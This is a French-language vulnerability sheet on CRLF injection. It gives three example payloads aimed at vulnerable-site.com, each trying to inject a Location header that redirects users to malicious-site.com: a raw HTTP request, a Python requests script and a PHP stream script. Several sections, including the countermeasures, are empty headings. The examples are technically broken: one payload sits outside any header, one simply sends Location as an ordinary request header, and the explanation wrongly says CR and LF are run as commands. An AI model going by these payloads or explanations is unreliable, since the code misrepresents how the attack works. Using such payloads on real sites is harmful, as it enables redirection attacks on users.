Table des matières

CRLF

Description

Les vulnérabilités CRLF (Carriage Return Line Feed) sont des failles de sécurité qui peuvent être exploitées pour injecter du code malveillant dans les sites Web ou les applications Web. Elles sont causées par l'absence de filtrage adéquat des caractères de retour chariot (CR) et de saut de ligne (LF) dans les entrées de données.

Cela signifie que le site ou l'application ne vérifie pas les données d'entrée pour s'assurer qu'elles ne contiennent pas de codes qui pourraient être utilisés à mauvais escient.

Les codes de retour de chariot et de saut de ligne sont des caractères spéciaux qui sont utilisés dans les fichiers de texte pour indiquer à l'ordinateur où se terminent les lignes et où il doit passer à la ligne suivante. Si un attaquant parvient à injecter ces codes dans un champ de saisie de données, il peut alors contrôler comment le site ou l'application traite ces données et peut en abuser pour effectuer diverses actions.

Prérequis d'exploitation

Pour exploiter cette famille de vulnérabilité, il est nécessaire d’avoir accès à une application n'effectuant pas de filtrage adéquat des caractères de retour chariot (CR) et de saut de ligne (LF) dans les entrées de données. Cela signifie que l'application accepte ces caractères sans les valider ou les échapper.

Connaissances nécessaires

Outils nécessaires

Flux d'exécution

Explorer

Naviguer sur l’application afin d’identifier les différents champs de saisie pouvant être utilisés pour injecter des données non filtrées.

Expérimenter

Analyser les différentes réponses du serveur en fonction des différentes valeurs saisies. L’objectif ici est de tenter de déceler un comportement particulier du serveur suite à l'envoi de requêtes mal formées.

Exploiter

Conséquences potentielles

Une exploitation réussie de ce type de vulnérabilité peut permettre :

Contres-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

Comment cela fonctionne?

Les scénarii suivants peuvent être joués via l'exploitation de cette vulnérabilité :

Exemple 1

Voici un exemple d'exploitation d'une vulnérabilité CRLF dans laquelle un attaquant force la redirection d'un utilisateur vers un site Web externe (dont il a le contrôle) :

GET / HTTP/1.1
Host: vulnerable-site.com
 
%0d%0aLocation: http://malicious-site.com%0d%0a

Dans cet exemple, les caractères

%0d%0a

représentent les caractères CR et LF codés en hexadécimal. Lorsque l'application Web reçoit cette requête, elle interprète les caractères CR et LF comme des commandes et redirige l'utilisateur vers http://malicious-site.com.

Exemple 2

Exploitation de la vulnérabilité CRLF en Python :

import requests
 
url = "http://vulnerable-site.com/search"
 
headers = {
    "Host": "vulnerable-site.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "43",
}
 
data = "query=test%0d%0aLocation:http://malicious-site.com"
 
response = requests.post(url, headers=headers, data=data)

Dans cet exemple, nous envoyons une requête POST à l'URL http://vulnerable-site.com/search avec des caractères CR et LF injectés dans le champ query de la requête. Si l'application Web n'est pas correctement configurée pour filtrer ces caractères, elle peut être exploitée pour rediriger l'utilisateur vers http://malicious-site.com.

Exemple 3

Exploitation de la vulnérabilité CRLF en PHP :

<?php
 
$url = "http://vulnerable-site.com/search";
 
$headers = array(
    "Host: vulnerable-site.com",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 43",
    "Location: http://malicious-site.com"
);
 
$data = "query=test%0d%0a";
 
$options = array(
    "http" => array(
        "header"  => $headers,
        "method"  => "POST",
        "content" => $data,
    ),
);
 
$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context);

Dans cet exemple, nous envoyons une requête POST à l'URL http://vulnerable-site.com/search avec des caractères CR et LF injectés dans le champ query de la requête via la variable PHP data. Si l'application Web n'est pas correctement configurée pour filtrer ces caractères, elle peut être exploitée pour rediriger l'utilisateur vers http://malicious-site.com.

References

URL :

Retour fiches vulnérabilités